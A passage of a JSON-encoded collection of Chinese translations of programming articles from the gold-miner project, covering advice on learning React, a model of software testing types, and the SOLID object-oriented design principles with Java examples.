ES2015）。但因为它是一个更好的语言，因此大多数示例，课程和教程都会使用现代的 JavaScript 语法。具体来说，你需要以下内容：\n\n* 对象字面量和模板字符串的新特性\n* 块级作用域 和 let/const 和 var 的区别\n* 箭头函数\n* 解构和默认值／剩余参数／扩展运算符\n* 类和继承（用于定义组件，但是避免其他方式使用）\n* 使用类字段语法和箭头函数定义方法\n* Promise 对象以及如何配合 async/await 使用\n* 引入和导出模块（最重要的）\n\n你不需要从 ES2015 开始学习，但最终你还是需要学习它（并不是因为你正在学习 React）\n\n所以除了 ES2015 以外的东西，要成为一个高效的 React 开发者你还需要学习以下内容：\n\n* [React](https://facebook.github.io/react/docs/react-api.html)，[ReactDOM](https://facebook.github.io/react/docs/react-dom.html)，[ReactDOMServer](https://facebook.github.io/react/docs/react-dom-server.html) 的 API：这些 API 并不是那么常用，我们平时用到的（谈论到的）大概只有 25 个左右，你很少会全部使用到。[React 的官方文档](https://facebook.github.io/react/docs/hello-world.html) 实际上它是一个很好的起点（它最近变得更好了），但是如果你还是很困惑，可以观看[在线课程](https://www.pluralsight.com/search?q=buna&categories=all)，[阅读一本书](https://www.syncfusion.com/resources/techportal/details/ebooks/Reactjs_Succinctly)，或者参加一个[专门的研讨会](https://jscomplete.com/)。你的选择无穷无尽，但要小心你挑选的内容，确保它关注的内容是 React 本身，而不是它的工具和生态系统。\n\n![](https://ws1.sinaimg.cn/large/006LnBnPgy1fm8n5p37jwj30lc0ozn3w.jpg)\n\n* [node 和 npm](https://www.pluralsight.com/courses/nodejs-advanced)：你需要学习这些（为了 React）的原因，是因为在 [npmjs.org](http://npmjs.org/) 上有很多的工具包，可以让你的编程生活更轻松。而且，自从 Node 允许在服务器端执行 JavaScript 代码后，你可以在服务器端复用前端的 React 代码（同构／跨平台应用）。大多数情况下，你会发现配合像 webpack 这样的模块打包工具时，就更能彰显 node 和 npm 的价值。更重要的是，当你编写大型应用程序时，你至少需要一个工具来处理 JSX （忽略 JSX 是可选的建议）。学习并使用 JSX，推荐的工具是 Babel.js。\n* React 生态系统库：因为 React 只是一个构建页面 UI 的语言，你需要结合其他工具库来完成页面的展示和 MVC 实现。不要等到你对 React 很熟悉后才开始这一步。一旦你完成 React 的学习，我建议你关注 react-router 和 redux 这两个工具库，忘掉你之前学习的东西，先学习这两个库。\n* 在熟悉 React 本身的原始概念之后，马上构建一个 [React Native](https://facebook.github.io/react-native/) 的应用程序。你一旦这么做，你将会只体会到 React 的美。相信我。\n\n![](https://ws1.sinaimg.cn/large/006LnBnPgy1fm8n5op3eqj30lf088t9l.jpg)\n\n在你学习的过程中，你能做到最好的事就是靠自己双手构建东西。不要复制粘贴例子，也不要盲目地遵循说明，而是参照说明构建其他东西（理想情况下，你更在乎的东西）。无论你做什么，不要只做一个[ TODOs 应用程序](https://hackernoon.com/a-react-todos-example-explained-6df53cdebed1)。\n\n我发现构建简单的游戏比用数据驱动的严肃的 web 应用程序能更好地展示 React 的思想。这就是为什么在我的 [**React.js 入门课程**](https://www.pluralsight.com/courses/react-js-getting-started)中，我专注于构建简单的游戏。我还在我的[**《简洁的 React.js》**](https://www.syncfusion.com/resources/techportal/details/ebooks/Reactjs_Succinctly)中构建了另一个[不同的游戏](http://jscomplete.com/react-examples/memory-grid-game/)，你可以免费阅读。尝试在[ JavaScript 在线开发平台](https://jscomplete.com/repl) 中实现其他类似的游戏，这是一个好的开始，你不需要服务器，也不需要管理那些烦人的 state。\n\n[ **JavaScript REPL 和 React.js 开发平台**\n**通过jsComplete交互式实验学习 JavaScript 和 React.js** jscomplete.com](https://jscomplete.com/repl)\n\n最近，我为 jsComplate 创建了一个交互式的音频学习工具。我测试这工具的第一个实验是一个 [React.js 的例子](http://jscomplete.com/interactive-learning-demo/)。如果你有做实验，请务必留下你的反馈意见。\n\n祝你好运并玩得开心！如果你提问得很好，我会很乐意的看看你第一个 React 应用程序并给你一些指导。\n\n**感谢您的阅读，如果你发现这篇文章对你有帮助，请点击下面的 💚，跟随我发现更多关于 React.js 和 JavaScript 的文章吧。**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/software-testing-big-picture.md",
    "content": "> * 原文地址：[Unit testing, Lean Startup, and everything in-between](https://codewithoutrules.com/2017/03/12/software-testing-big-picture/)\n> * 原文作者：[Itamar Turner-Trauring](https://twitter.com/itamarst)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[gy134340](https://github.com/gy134340)\n> * 校对者：[zhaochuanxing](https://github.com/zhaochuanxing)，[yifili09](https://github.com/yifili09)\n\n# 单元测试，精益创业，以及两者之间的关系\n\n为什么软件需要测试？\n\n我曾经以为是为了产出高质量的代码：你总是需要测试因为你总是需要写出高质量的代码。\n但是这个观点有几点问题。\n\n**有时候质量不是主要问题。**\n在“精益创业” 这本书中，作者 Rric Ries 说过有时候发布一个软件最终发现没人真的想用它。\n这也是他创作的动机之一: 为创业初期建立一套更好的方法论，在真正投入时间去构建一个高质量的产品时，就能够发现这款产品是否能够成功的方法论。\n如果没人用你的软件的话那么确保高质量纯属浪费时间。\n\n**即使高质量很有必要，但高质量与测试之间的关系却很模糊的。**\n一个 QA 的团队跟自动化的单元测试又什么不同？\n他们的确不一样，但他们又分别给出什么样的质量？\n什么时候需要特别的测试？\n\n**另外，测试是有成本的：你怎样辨别成本的花费是否超出回报？**\n比如说，有一家做税务申报软件的公司（我稍微改了一下细节）。\n他们使用 Selenium 来对他们网站的 UI 来测试... 但是他们的应用依然很烂，而且每次改变 UI 测试都会崩溃。\n这个测试并没有改变产品的质量，相反浪费了程序员的时间来维护测试。\n他们做错了什么？\n\n说我们都需要写出高质量的软件并不能帮助解决这些问题。\n那我们回头来更加深入的讨论一下。\n\n## 测试的意义是什么？\n\n[康熙字典 :) ]((http://jsomers.net/blog/dictionary))里告诉我们测试是为了 “举证，通过一定原则或标准或实验来，证明真理，真实性。“ \n软件质量就在那里，是的，但事实却又不仅如此。\n\n准确的说，这只是英语定义，可以肯定，有很多不说英语的开发者。\n我不想被字典来束缚我们的行为。\n人类语言是数世纪以来对世界的观察和理解，也是我们可以拿来借鉴的宝库。\n\n那我们来以这个为出发点来看看能学到点什么。\n\n## 测试的第一个方面\n\n下面这个是测试吧？\n\n    def test_add():\n        assert add(2, 2) == 5\n    \n\n没错，他还真是，没毛病。\n看函数名，一点都没错。\n测试说明 `add()`  做了他该做的：将两个数相加得到结果。\n\n你注意到这个测试是**错**的。\n幸运的是我们的开发流程进入到了另一步：代码审查。\n亲爱的读者们，代码审查告诉我我的代码是错的，2 + 2 = 4，不是 5。\n\n代码审查是不是测试的一种？\n\n根据字典定义来说是的：代码审查就是根据标准来验证代码的 “正确，真实性和质量”，这个从小我们就知道。\n\n**那我们假设代码审查跟单元测试一样都是测试的一种。**\n他们都是测试，却又相当不同。\n那主要的区别在哪里？\n\n一种是自动化的，一种是人来做的。\n\n自动化测试具有一致性和可重复性。\n你可以这样写：\n\n    def test_add_twice():\n        for i in range(10000000):\n            assert add(i, i) == 2 * i\n    \n\n电脑每次都跑一遍一摸一样的代码。\n代码可以保证根据输入每次调用`add()`返回他们的结果。\n人在手动验证一千万种不同的计算时会遇到一些困难，比如无聊、分心、失误、缓慢啦等等。\n\n另一方面，任何人都可以很快的告诉你下面的代码是错的：\n\n    def add(a, b):\n        return a + b + 1\n    \n\n计算机只按照指令执行操作，孰对孰错，人类能赋予它意义。\n只有人才知道软件是为何而生。\n\n现在我们知道每种测试的不同，以及如何组织它：**人类来发现意义，自动化测试确保一致性。**\n\n## 测试的第二个方面\n\n我们来看一下测试的另一个方面。\n“A／B  测试”是一种尝试不同分类来看哪种结果更好的测试。\n比如你为了测试网站新的设计：给 90% 的访问者原有的设计，同时给 10% 的访问者新的设计，看看哪种注册人数多一点。\n\n这是测试吗？\n这就叫 “A/B 测试”，跟它的名字一样。\n\n我们来重新看一下字典定义：“举证，**通过一定原则**或**标准**或**实验**，来证明真理，真实性。”\n\n字典上说这也是测试，因为**通过实验**。\n我们通过实验来看看哪个版本更受欢迎。\n\n单于测试和代码审查，对比来说，就是**通过一定原则**或**标准**来测试。\n我们对软件有一些特定规格，一些我们希望软件的行为，同时我们确保它符合规格。\n\n现在我们有了第二种理解与组织测试的方法：**通过实验测试** vs **针对规格测试**\n\n## 测试的象限图\n\n将它们放在一起我们得到下面这张关于测试的图表：\n\n![](https://ww2.sinaimg.cn/large/006tKfTcly1fdorbapge0j312c13k0xb.jpg)\n\n### 用户行为\n\n- 有人买你的产品吗？\n- 设计的改变会影响注册人数吗？\n- 用户知道软件是如何工作的吗？\n\n这些都是无法通过软件是否符合规格来回答。\n相反需要你的经验知识：你需要观察人对软件的真实反映。\n\n### 软件表现\n\n- 你的软件在负载下表现如何？\n- 你的产品抛出异常吗？\n\n这些问题不能通过对比规范来解答，\n你需要把软件跑起来看看到底会发生什么。\n\n### 功能正确性\n\n- 你的软件符合规范吗？\n- 它做了它该做的吗？\n\n很容易说自动化的测试可以证明这一点，但有没有想过单元测试在检查 2 + 2 = 5。\n在基本的层面上，软件可以在技术上符合规范却完全无法达成规范的初衷。\n但只有人明白规范的含义，和辨别是否匹配这个规范。\n\n### 功能的稳定性\n\n- 你的公有 API 对于相同输入返回相同的值吗？\n- 你的代码是否提供了它该提供的？\n\n人不是测试这个问题的好办法。\n所有人都会忽略小问题：如果一个按钮从 “Send Now” 变成 “Send now”，很多人都不会注意到。\n对比来说，如果你的 API 从 `sendNow()` 变成 `send_now()`，或者返回一个不同类型的值，你的软件就会崩溃。\n\n这就是说公有的 API，或者其他软件依赖的 API，需要稳定性来确保正确性。\n为私有的接口写自动化测试，或者对于迭代较快的代码，更新测试将导致极高的维护成本。\n\n## 应用上述模型\n\n如何应用模型？\n\n### 选择如何测试\n\n首先，模型可以帮助你根据你的目标选择合适的测试。\n\n如果一家初创公司做一个没人用的软件。\n写自动化测试纯属浪费时间，因为他连用户想要什么都不知道就开始专心实施了。\n\n这里需要用精益创业的方法论，一个专注于用实验找到什么产品将满足客户的需求的方法来解决。\n这意味着专注于用户行为象限。\n只有证明他值得花费时间来进行下去，才值得对这个产品来做一些为了功能性和稳定性的测试。\n\n### 了解你是否选择了错误的测试类型\n\n第二，这个模型可以帮助你改变错误的行进路线。\n比如说那家初创的税务公司，如果他们对于 UI 进行自动化测试但是并没有发现问题，然后每改变一次 UI，整个系统都要重新来进行一遍测试。\n他们的问题在于系统的两个方面：\n\n1. 税务机制是相当稳定的：税率每年只变一次。\n这就需要他们对核心的税务计算部分进行稳定性或者单元测试。\n正确性可以通过代码审查和税务会计来反馈。\n2. 基于 web 的用户界面\nUI 一直在变，说明不需要稳定性测试。\n正确性测试可以通过人工测试来解决（比如说写代码的开发者）。\n\n### 讨论测试的根据\n\n最后，这个模型提供了一个公有的术语，来讨论的测试的意义及其不同的目标。\n\n- 对于人工测试还是单元测试的优异性选择，你可以从一个很清楚地表明它们之间的差异的模型开始。\n- 你也可以从一个完全不同的角度对公司的其他方面（比如市场）来讨论测试。\n\n## 总结\n\n- 无论是选择人还是自动化测试来保持持续性，都是有意义的，自动化测试提供准确性，人手工测试提供意义性。\n- 即需要通过实验，也需要对比规范来进行测试。\n- 每个组合提供了不同的测试形式：用户行为、软件行为、正确性、稳定性。\n- 确保根据你的目标和情况来选择合适的测试方式。\n\n想更多的讨论这个问题，可以给我发邮件[itamar@codewithoutrules.com](mailto:itamar@codewithoutrules.com)。\n"
  },
  {
    "path": "TODO/solid-principles-the-definitive-guide.md",
    "content": "> * 原文地址：[SOLID Principles : The Definitive Guide](https://android.jlelse.eu/solid-principles-the-definitive-guide-75e30a284dea#.8b78yjtyk)\n* 原文作者：[Arthur Antunes](https://android.jlelse.eu/@aantunesdias)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[XHShirley](https://github.com/XHShirley) * 校对者：[Patrick Wang](https://github.com/imink), [skyar2009](https://github.com/skyar2009)\n\n# SOLID 原则：权威指南\n\n![](https://cdn-images-1.medium.com/max/2000/1*LcsyJRuNmvg31Va1M2OZgA.png)\n\n\n**SOLID** 是五个面向对象编程的重要原则的缩写。另外，它也是每个开发者必备的基本知识。了解并应用这些原则能**让你写出更优质的代码**，变成更优秀的开发者。\n\nSOLID 原则是由 [Robert C. Martin （Bob 大叔）](https://en.wikipedia.org/wiki/Robert_Cecil_Martin) 在 21 世纪初定义的。Bob 大叔阐述了几个并且确认了其它已经存在的原则。他说我们应该使用这些原则，让代码获得好的依赖管理。\n\n但是，SOLID 原则在最初并没有被大家熟知直到 [Michael Feathers](https://michaelfeathers.silvrback.com/) 观察到这些原则的首字母正好能拼成缩写 SOLID，这个非常具有代表性的名字。\n\n当应用在我们的代码里面的时候，这组实用的建议可以帮助我们获得以下的好处：\n\n- 可持续性\r\n- 扩展性\r\n- 鲁棒的代码\n\r\n但在我们了解每个 SOLID 原则之前， 我们需要回忆**软件开发中两个相关的概念**。**耦合**和**内聚**：\n\n\n#### 耦合：\r\n\r\n我们可以把它定义为**一个类、方法或者任何一个实体直接与另一个实体连接的度**。这个耦合的度也可以被看作依赖的度。\r\n\r\n- **例子：**当我们想要使用的一个类，与一个或者多个类紧密地绑定在一起（高耦合），我们将最终使用或修改这些类我们所依赖的部分。\n\n\n#### 内聚：\r\n\r\n内聚是一个系统里两个或多个部分一起执行工作的度量，来获得比每个部分单独工作获得更好的结果。\r\n\r\n- **例子：** 星球大战中 Han Solo 和 Chewbacca 一起在千年隼号里。\n\n**想要有一个高质量的软件，我们必须尝试低耦合高内聚，**而 SOLID 原则正好帮助我们完成这个任务。如果我们遵循这些指引，我们的代码会更健壮，更易于维护，有更高的复用性和可扩展性。同时，可以避免每次变更都要修改多处代码的问题。\n\n让我们把 SOLID 的字母拆开看看每一个对应原则的细节吧。\n\n![](https://cdn-images-1.medium.com/max/800/1*ykdDqm06KRI1XDtv34b2BQ.png)\n\n### 单一职责原则（SRP）：\n\n> **一个类应该只有一个引起改变的原因。**\n\n这个原则意味着**一个类只能有一个职责并且只完成为它设计的功能任务。**\n\n否则，如果我们的类承担的职责多于一个，那么我们的代码就具有高度的耦合性，并会导致它对于任何改变都很脆弱。\n\n\n**好处：**\n\n- 降低耦合性。\n- 代码易于理解和维护。\n\n#### **违反 SRP 原则**\n\n- 我们的 **Customer** 类**有多个的职责：**\n\n```\npublic class Customer {\n \n    private String name;\n \n    // getter and setter methods...\n \n    // This is a Responsibility\n    public void storeCustomer(String customerName) {\n        // store customer into a database...\n    }\n \n    // This is another Responsibility\n    public void generateCustomerReport(String customerName) {\n        // generate a report...\n    }\n}\n```\n\n\n**storeCustomer(String name)** 职责是把顾客存入数据库。这个职责是持续的，应该把它放在顾客类的外面。\n\n**generateCustomerReport(String name)** 职责是生成一个关于顾客的报告，所以它也应该放在顾客类的外面。\n\n当一个类有多个职责，它就更加难以被理解，扩展和修改。\n\n#### **更好的解决办法：**\n\n\n我们 **为每一个职责创建不同的类。**\n\n- **Customer** 类：\n\n```\npublic class Customer {\n \n    private String name;\n \n    // getter and setter methods...\n}\n```\n\n- **CustomerDB** 类用于持续的职责：\n\n```\npublic class CustomerDB {\n \n    public void storeCustomer(String customerName) {\n        // store customer into a database...\n    }\n}\n```\n\n- **CustomerReportGenerator** 类用于报告制作的职责：\n\n```\npublic class CustomerReportGenerator {\n \n    public void generateReport(String customerName) {\n        // generate a report...\n    }\n}\n```\n\n\n这样，我们就有几个类，但是**每个类都有单一的职责**，我们就使它变成了低耦合高内聚。\n\n### 开闭原则（OCP）：\n\n> **软件实体（类，模块，方法等）应该对扩展开放，对修改封闭。**\n\n\n根据这一原则，一个软件实体能很容易地扩展新功能而不必修改现有的代码。\n\n**open for extension:** 添加新的功能从而满足新的需求。\n\n**close for modification:** 扩展新的功能行为而不需要修改现有的代码。\n\n如果我们应用这个原则，我们会有一个可扩展的系统且在更改需求的时候更不易出错。我们可以用[抽象](https://en.wikipedia.org/wiki/Abstraction_%28software_engineering%29)和[多态](https://en.wikipedia.org/wiki/Polymorphism_%28computer_science%29)来帮助我们应用这个原则。\n\n\n**好处：**\n\n\n- 代码的可维护性和复用性。\n- 代码会更健壮。\n\n\n#### **违反 OCP 原则**\n\n-  我们有一个 **Rectangle** 类：\n\n```\n\npublic class Rectangle {\n \n    private int width;\n    private int height;\n \n    // getter and setter methods...\n}\n```\n\n- 同时，我们有一个 **Square** 类\n\n```\npublic class Square {\n \n    private int side;\n \n    // getter and setter methods...\n}\n```\n\n- 我们还有一个 **ShapePrinter** 类可以画不同的形状：\n\n```\n\npublic class ShapePrinter {\n \n    public void drawShape(Object shape) {\n \n        if (shape instanceof Rectangle) {\n            // Draw Rectangle...\n        } else if (shape instanceof Square) {\n            // Draw Square...\n        }\n    }\n}\n```\n\n\n可以看到，当我们每次想要画一个新的形状我们就要**修改 ShapePrinter 类里的 drawShape 方法来接受这个新的形状。**\n\n当要画新的形状种类的时候，ShapePrinter 类就会变得更让人难以理解并且不易于改变。\n\n所以 **ShapePrinter** 类不对修改封闭。\n\n\n#### **一个解决办法：**\n\n- 我们添加一个 **Shape** 抽象类：\n\n```\n\npublic abstract class Shape {\n    abstract void draw();\n}\n```\n\n- 重构 **Rectangle** 类以继承自 **Shape:**\n\n```\npublic class Rectangle extends Shape {\n \n    private int width;\n    private int height;\n \n    // getter and setter methods...\n \n    @Override\n    public void draw() {\n        // Draw the Rectangle...\n    }\n}\n```\n\n重构 **Square** 类以继承自 **Shape:**\n\n```\npublic class Square extends Shape {\n \n    private int side;\n \n    // getter and setter methods...\n \n    @Override\n    public void draw() {\n        // Draw the Square\n    }\n}\n```\n\n- **ShapePrinter** 的重构：\n\n```\npublic class ShapePrinter {\n \n    public void drawShape(Shape shape) {\n        shape.draw();\n    }\n}\n```\n\n\n现在，**ShapePrinter** 类在我们添加了新的形状类型的同时也保持了完整性。\n\n\n#### **另一个解决方法：**\n\n用这个方法，**ShapePrinter** 也能在添加新形状的同时保持完整性，因为 **drawShape 方法接受 Shape 抽象。**\n\n- 我们把 **Shape** 变成一个接口：\n\n```\npublic interface Shape {\n    void draw();\n}\n```\n\n- 重构 **Rectangle** 类以实现 **Shape:**\n\n```\npublic class Rectangle implements Shape {\n \n    private int width;\n    private int height;\n \n    // getter and setter methods...\n \n    @Override\n    public void draw() {\n        // Draw the Rectangle...\n    }\n}\n```\n\n- 重构 **Square** 类以实现 **Shape:**\n\n```\npublic class Square implements Shape {\n \n    private int side;\n \n    // getter and setter methods...\n \n    @Override\n    public void draw() {\n        // Draw the Square\n    }\n}\n```\n\n- **ShapePrinter:**\n\n```\npublic class ShapePrinter {\n \n    public void drawShape(Shape shape) {\n        shape.draw();\n    }\n}\n```\n\n### 里氏替换原则（LSP）：\n\n> **程序里的对象都应该可以被它的子类实例替换而不用更改程序.**\n\n\n这个原则由 [Barbara Liskov](https://en.wikipedia.org/wiki/Barbara_Liskov) 定义。他说程序里的对象都应该可以被它的子类实例替换而不用更改系统的正常工作.\n\n\n**好处:**\n\n- 更高的代码复用性。\n- 类的层次结构易于理解。\n\n\n经常用于解释这个原则的经典例子就是长方形的例子。\n\n\n#### **违反 LSP 原则:**\n\n- 我们有一个 **Rectangle** 类:\n\n```\npublic class Rectangle {\n \n    private int width;\n    private int height;\n \n    public void setWidth(int width) {\n        this.width = width;\n    }\n \n    public void setHeight(int height) {\n        this.height = height;\n    }\n \n    public int getArea() {\n        return width * height;\n    }\n}\n```\n\n- 还有一个 **Square** 类：\n\n\n因为一个正方形是一个长方形（从数学上讲），我们决定把 **Square** 作为 **Rectangle** 的子类。\n\n\n我们在重写的 **setHeight()** 和 **setWidth()** 方法中设置（与它的父类）同样的尺寸（宽和高），让 **Square** 的实例依然有效。\n\n```\npublic class Square extends Rectangle {\n \n    @Override \n    public void setWidth(int width) {\n        super.setWidth(width);\n        super.setHeight(width);\n    }\n \n    @Override\n    public void setHeight(int height) {\n        super.setWidth(height);\n        super.setHeight(height);\n    }\n}\n```\n\n\n所以现在我们可以传一个 **Square** 实例到一个需要 **Rectangle** 实例的地方。\n\n但是如果我们这样做，我们会**破坏 Rectangle 的行为假设：**\n\n下面对于 **Rectangle** 的假设是**对的：**\n\n```\npublic class LiskovSubstitutionTest {\n \n    public static void main(String args[]) {\n        Rectangle rectangle = new Rectangle();\n        rectangle.setWidth(2);\n        rectangle.setHeight(5);\n \n        if (rectangle.getArea() == 10) {\n            System.out.println(rectangle.getArea());\n        }\n    }\n}\n```\n\n\n但是同样的假设却不适用于 **Square:**\n\n```\npublic class LiskovSubstitutionTest {\n \n    public static void main(String args[]) {\n        Rectangle rectangle = new Square(); // Square\n        rectangle.setWidth(2);\n        rectangle.setHeight(5);\n \n        if (rectangle.getArea() == 10) {\n            System.out.println(rectangle.getArea());\n        }\n    }\n}\n```\n\n\n**Square** 不是 **Rectangle** 正确的替代品，因为它不遵循 **Rectangle** 的行为规则。\n\n**Square** / **Rectangle** 层次分离虽然不能反应出任何问题，但是这**违反了里氏替换原则**！\n\n\n#### **一个解决方法：**\n\n- 用 **Shape** 接口来获取面积：\n\n```\npublic interface Shape {\n    int area();\n}\n```\n\n- 重构 **Rectangle** 以实现 **Shape:**\n\n```\npublic class Rectangle implements Shape {\n \n    private int width;\n    private int height;\n \n    public void setWidth(int width) {\n        this.width = width;\n    }\n \n    public void setHeight(int height) {\n        this.height = height;\n    }\n \n    @Override\n    public int area() {\n        return width * height;\n    }\n}\n```\n\n重构 **Square** 以实现 **Shape:**\n\n```\npublic class Square implements Shape {\n \n    private int size;\n \n    public void setSize(int size) {\n        this.size = size;\n    }\n \n    @Override\n    public int area() {\n        return size * size;\n    }\n}\n```\n\n\n#### **另一个解决方法经常与[非可变性](https://en.wikipedia.org/wiki/Immutable_object)一起应用**\n\n- **Rectangle** 重构：\n\n```\npublic class Rectangle {\n \n    private final int width;\n    private final int height;\n \n    public Rectangle(int width, int height) {\n        this.width = width;\n        this.height = height;\n    }\n \n    public int getArea() {\n        return width * height;\n    }\n}\n```\n\n- 重构 **Square** 以继承 **Rectangle:**\n\n```\npublic class Square extends Rectangle {\n \n    public Square(int side) {\n        super(side, side);\n    }\n}\n```\n\n\n很多时候，我们对类的建模依赖于我们想展示的现实世界客体的属性，但更重要的是我们应该关注它们各自的行为来避免这种错误。\n\n### 接口隔离原则（ISP）：\n\n> **多个专用的接口比一个通用接口好。**\n\n这个原则定义了**一个类决不要实现不会用到的接口**。不遵循这个原则意味着在我们在实现里会依赖很多我们并不需要的方法，但又不得不去定义。\n\n所以，实现多个特定的接口比实现一个通用接口要好。一个接口被需要用到的类所定义，所以这个接口不应该有这个类不需要实现的其它方法。\n\n\n**好处：**\n\n- 系统解耦。\n- 代码易于重构。\n\n#### **违反 ISP 原则**\n\n- 我们有一个 **Car** 的接口：\n\n```\npublic interface Car {\n    void startEngine();\n    void accelerate();\n}\n```\n\n- 同时也有一个实现 **Car** 接口的 **Mustang** 类：\n\n```\npublic class Mustang implements Car {\n \n    @Override\n    public void startEngine() {\n        // start engine...\n    }\n \n    @Override\n    public void accelerate() {\n        // accelerate...\n    }\n}\n```\n\n\n现在我们有个新的需求，要添加一个新的车型：\n\n一辆 **DeloRean,** 但这并不是一个普通的 DeLorean，我们的 **DeloRean** 非常特别，它有穿梭时光的功能。\n\n像以往一样，我们没有时间来做一个好的实现，而且 **DeloRean** 必须马上回到过去。\n\n- 为我们的 **DeloRean** 在 **Car** 接口里增加两个新的方法：\n\n```\npublic interface Car {\n    void startEngine();\n    void accelerate();\n    void backToThePast();\n    void backToTheFuture();\n}\n```\n\n- 现在我们的 **DeloRean** 实现 **Car** 的方法：\n\n```\npublic class DeloRean implements Car {\n \n    @Override\n    public void startEngine() {\n        // start engine...\n    }\n \n    @Override\n    public void accelerate() {\n        // accelerate...\n    }\n \n    @Override\n    public void backToThePast() {\n        // back to the past...\n    }\n \n    @Override\n    public void backToTheFuture() {\n        // back to the future...\n    }\n}\n```\n\n- 但是现在 **Mustang** 被迫去实现在 **Car** 接口里的新方法：\n\n```\npublic class Mustang implements Car {\n \n    @Override\n    public void startEngine() {\n        // 启动引擎\n    }\n \n    @Override\n    public void accelerate() {\n        // 加速\n    }\n \n    @Override\n    public void backToThePast() {\n        // 因为 Mustang 不能回到过去！\n        throw new UnsupportedOperationException();\n    }\n \n    @Override\n    public void backToTheFuture() {\n        // 因为 Mustang 不能穿越去未来！\n        throw new UnsupportedOperationException();\n    }\n}\n```\n\n在这种情况下，Mustang **违反了接口隔离的原则**，因为它实现了它不会用到的方法。\n\n\n#### **使用接口隔离的解决方法：**\n\n- 重构 **Car** 接口：\n\n```\npublic interface Car {\n    void startEngine();\n    void accelerate();\n}\n```\n\n- 增添一个 **TimeMachine** 接口：\n\n```\npublic interface TimeMachine {\n    void backToThePast();\n    void backToTheFuture();\n}\n```\n\n- 重构 **Mustang（只实现 Car 的接口）**\n\n```\npublic class Mustang implements Car {\n \n    @Override\n    public void startEngine() {\n        // 启动引擎\n    }\n \n    @Override\n    public void accelerate() {\n        // 加速\n    }\n}\n```\n\n- 重构 **DeloRean（同时实现 Car 和 TimeMachine）**\n\n```\npublic class DeloRean implements Car, TimeMachine {\n \n    @Override\n    public void startEngine() {\n        // 启动引擎\n    }\n \n    @Override\n    public void accelerate() {\n        // 加速\n    }\n \n    @Override\n    public void backToThePast() {\n        // 回到过去\n    }\n \n    @Override\n    public void backToTheFuture() {\n        // 到未来去\n    }\n}\n```\n\n\n### 依赖倒转原则 (DIP):\n\n\n> **高层次的模块不应该依赖于低层次的模块，它们都应该依赖于抽象。**\n> \n> **抽象不应该依赖于细节。细节应该依赖于抽象。**\n\n\n依赖倒转原则的意思是一个特定的类不应该直接依赖于另外一个类，但是可以依赖于这个类的抽象（接口）。\n\n当我们应用这个原则的时候我们能减少对特定实现的依赖性，让我们的代码复用性更高。\n\n\n**好处:**\n\n- 减少耦合。\n- 代码更高的复用性。\n\n\n#### **违反 DIP 原则:**\n\n- 我们有一个类叫 **DeliveryDriver** 代表着一个司机为快递公司工作。\n\n```\npublic class DeliveryDriver {\n \n    public void deliverProduct(Product product){\n        // 运送产品\n    }\n}\n```\n\n- **DeliveryCompany** 类处理货物装运：\n\n```\npublic class DeliveryCompany {\n \n    public void sendProduct(Product product) {\n        DeliveryDriver deliveryDriver = new DeliveryDriver();\n        deliveryDriver.deliverProduct(product);\n    }\n}\n```\n\n\n我们注意到 **DeliveryCompany** 创建并使用 DeliveryDriver 实例。所以 **DeliveryCompany** 是一个依赖于低层次类的高层次的类，这就**违背了依赖倒转原则**。（译者注：上述代码中 DeliveryCompany 需要运送货物，必须需要一个 DeliveryDriver 参与。但如果以后对司机有更多的要求，那我们既要修改 DeliveryDriver 也要修改上述代码。这样造成的依赖，耦合度高）\n\n#### **A solution:**\n\n#### **解决方法:**\n\n- 我们创建 **DeliveryService** 接口，这样我们就有了一个抽象。\n\n```\npublic interface DeliveryService {\n    void deliverProduct(Product product);\n}\n```\n\n- 重构 **DeliveryDriver** 类以实现 **DeliveryService** 的抽象方法：\n\n```\npublic class DeliveryDriver implements DeliveryService {\n \n    @Override\n    public void deliverProduct(Product product) {\n        // 运送产品\n    }\n}\n```\n\n- 重构 **DeliveryCompany**，使它依赖于一个抽象而不是一个具体的东西。\n\n```\npublic class DeliveryCompany {\n \n    private DeliveryService deliveryService;\n \n    public DeliveryCompany(DeliveryService deliveryService) {\n        this.deliveryService = deliveryService;\n    }\n \n    public void sendProduct(Product product) {\n        this.deliveryService.deliverProduct(product);\n    }\n}\n```\n\n\n现在，依赖在别的地方创建，并且从类构造器中被注入。\n\n\n千万不要把这个原则与[依赖注入](https://en.wikipedia.org/wiki/Dependency_injection)混淆。依赖注入是一种设计模式，帮助我们应用这个原则来确保各个类之间的合作不涉及相互依赖。\n\n\n这里有好几个库使依赖注入更容易实现，像 [Guice](https://github.com/google/guice) 或者非常流行的 [Dagger2](https://github.com/google/dagger)。\n\n### 结论\n\n\n遵循 SOLID 原则来构建高质量, 易于扩展, 足够健壮并且可复用的软件是非常必要的。同时, 我们也不要忘了从实际和常识出发, 因为有的时候过份设计会使简单的问题复杂化。\n"
  },
  {
    "path": "TODO/spotifys-discover-weekly-how-machine-learning-finds-your-new-music.md",
    "content": "> * 原文地址：[Spotify’s Discover Weekly: How machine learning finds your new music](https://hackernoon.com/spotifys-discover-weekly-how-machine-learning-finds-your-new-music-19a41ab76efe)\n> * 原文作者：[Sophia Ciocca](https://hackernoon.com/@sophiaciocca?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/spotifys-discover-weekly-how-machine-learning-finds-your-new-music.md](https://github.com/xitu/gold-miner/blob/master/TODO/spotifys-discover-weekly-how-machine-learning-finds-your-new-music.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[ppp-man](https://github.com/ppp-man)\n\n# Spotify 